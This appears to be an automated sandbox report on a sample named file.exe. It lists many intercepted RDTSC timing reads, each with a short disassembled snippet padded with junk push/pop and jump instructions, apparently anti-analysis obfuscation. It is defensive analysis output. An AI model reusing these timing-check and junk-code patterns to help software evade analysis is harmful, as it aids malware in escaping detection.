Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D2A second address: 637D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D30 second address: 637D54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA6C4C2AB3Fh 0x00000010 je 00007FA6C4C2AB3Eh 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D54 second address: 637D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D5C second address: 637D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6397F9 second address: 6397FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6397FD second address: 63980B instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63980B second address: 63980F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63980F second address: 639841 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FA6C4C2AB44h 0x0000000f jmp 00007FA6C4C2AB40h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C31F second address: 63C323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C323 second address: 63C327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C327 second address: 63C333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C333 second address: 63C337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DA9D second address: 63DAA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAA1 second address: 63DABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB45h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6428E1 second address: 6428E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6428E7 second address: 6428FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FA6C4C2AB36h 0x0000000d jbe 00007FA6C4C2AB36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6428FA second address: 642917 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39099h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642917 second address: 642950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FA6C4C2AB44h 0x00000012 pop edi 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642950 second address: 642956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642A64 second address: 642A6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642A6B second address: 642A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642A72 second address: 642A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643605 second address: 643624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007FA6C4D39094h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643624 second address: 643628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643628 second address: 643634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644443 second address: 644487 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FA6C4C2AB49h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6C4C2AB3Fh 0x00000011 jmp 00007FA6C4C2AB45h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 644487 second address: 64448B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64448B second address: 6444AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB46h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C4AD second address: 64C4D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FA6C4D39095h 0x0000000b jmp 00007FA6C4D3908Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA6C4D3908Ch 0x00000017 push edi 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C64F second address: 64C660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C660 second address: 64C66F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FA6C4D39086h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C901 second address: 64C91C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA6C4C2AB41h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CF2E second address: 64CF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6526B7 second address: 6526CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnc 00007FA6C4C2AB36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jl 00007FA6C4C2AB36h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6526CE second address: 6526D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652B15 second address: 652B4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FA6C4C2AB36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007FA6C4C2AB38h 0x00000012 pushad 0x00000013 jmp 00007FA6C4C2AB3Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA6C4C2AB3Eh 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652B4B second address: 652B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Dh 0x00000007 jmp 00007FA6C4D3908Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FA6C4D39086h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652CC8 second address: 652CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FA6C4C2AB36h 0x0000000a jmp 00007FA6C4C2AB41h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652CE3 second address: 652CE9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6530B7 second address: 6530BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6530BB second address: 6530DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FA6C4D3909Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6530DD second address: 6530F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB3Eh 0x00000009 jnc 00007FA6C4C2AB36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6530F5 second address: 6530F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65428E second address: 654292 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654292 second address: 654298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 654298 second address: 6542A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652227 second address: 65222B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65222B second address: 65222F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65222F second address: 652248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D3908Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B478 second address: 65B47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B47C second address: 65B482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B482 second address: 65B489 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AEDD second address: 65AEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65AEE1 second address: 65AEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B079 second address: 65B081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B081 second address: 65B086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B086 second address: 65B0A7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA6C4D3908Eh 0x00000008 jns 00007FA6C4D39086h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FA6C4D3908Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B0A7 second address: 65B0AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B0AB second address: 65B0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B1E7 second address: 65B1F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA6C4C2AB36h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B1F4 second address: 65B1FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B1FB second address: 65B203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D93F second address: 65D945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D945 second address: 65D94C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D94C second address: 65D951 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D951 second address: 65D95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65D95E second address: 65D973 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FA6C4D39086h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66798A second address: 667994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667514 second address: 667531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6C4D39094h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667531 second address: 667535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667535 second address: 667541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6676BE second address: 6676C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6676C2 second address: 6676C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B685 second address: 66B690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B690 second address: 66B694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B818 second address: 66B81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B81C second address: 66B83F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FA6C4D39086h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B83F second address: 66B849 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4C2AB36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671FFD second address: 67201F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA6C4D39094h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6F34 second address: 5A6F4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB46h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6F4E second address: 5A6F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FA6C4D3908Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FA6C4D39091h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jnp 00007FA6C4D39086h 0x0000001f jmp 00007FA6C4D39098h 0x00000024 popad 0x00000025 push edi 0x00000026 pushad 0x00000027 popad 0x00000028 pop edi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68398A second address: 68399E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FA6C4C2AB3Ch 0x0000000e jbe 00007FA6C4C2AB36h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68399E second address: 6839A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6839A4 second address: 6839AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA6C4C2AB36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6839AE second address: 6839B4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682388 second address: 682394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA6C4C2AB36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682394 second address: 68239D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68239D second address: 6823A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6824E8 second address: 682506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA6C4D39091h 0x0000000c jns 00007FA6C4D39086h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682828 second address: 682830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B33 second address: 682B37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B37 second address: 682B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FA6C4C2AB47h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682B58 second address: 682B5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68624E second address: 686258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FA6C4C2AB36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687BC5 second address: 687BDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687BDD second address: 687BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687BE7 second address: 687BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F2E second address: 691F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB3Dh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F40 second address: 691F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F46 second address: 691F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F4A second address: 691F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FA6C4D39086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007FA6C4D39086h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
